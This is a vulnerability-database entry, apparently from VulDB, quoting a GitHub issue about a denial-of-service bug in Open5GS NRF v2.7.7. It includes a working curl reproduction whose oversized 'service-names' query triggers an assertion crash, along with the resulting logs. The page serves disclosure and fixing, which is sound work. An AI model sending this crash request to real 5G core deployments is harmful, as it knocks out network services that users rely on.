| 제목 | Open5gs NRF v2.7.7 Denial of Service |
|---|
| 설명 | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
NRF crashes when the `service-names` discovery query parameter contains more
items than `OGS_SBI_MAX_NUM_OF_SERVICE_TYPE`.
The discovery query parser eventually calls:
```c
ogs_assert(discovery_option->num_of_service_names <
OGS_SBI_MAX_NUM_OF_SERVICE_TYPE);
```
which makes an oversized `service-names` query abort the process.
### Steps to reproduce
```bash
services=$(printf 'svc0')
for i in $(seq 1 80); do
services="$services,svc$i"
done
curl --http2-prior-knowledge -m 5 -sS -i --get \
'http://10.33.33.3/nnrf-disc/v1/nf-instances' \
--data-urlencode 'target-nf-type=SMF' \
--data-urlencode 'requester-nf-type=AMF' \
--data-urlencode "service-names=$services"
```
Then check:
```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf
docker logs --since 2026-04-10T17:23:40Z nrf | tail -40
```
### Logs
```shell
curl: (56) Recv failure: Connection reset by peer
exited 139 2026-04-10T17:24:00.874382302Z
04/10 17:24:00.787: [sbi] FATAL: ogs_sbi_discovery_option_add_service_names: Assertion `discovery_option->num_of_service_names < OGS_SBI_MAX_NUM_OF_SERVICE_TYPE' failed. (../lib/sbi/message.c:3625)
```
### Expected behaviour
NRF should reject oversized `service-names` input with a normal HTTP error response.
### Observed Behaviour
The connection is reset and the NRF process exits with code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| 원천 | ⚠️ https://github.com/open5gs/open5gs/issues/4460 |
|---|
| 사용자 | LinJu (UID 97503) |
|---|
| 제출 | 2026. 04. 20. PM 09:52 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 05. 16. PM 12:09 (26 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 364318 [Open5GS 까지 2.7.7 NRF /lib/sbi/message.c service-names/snssais 서비스 거부] |
|---|
| 포인트들 | 20 |
|---|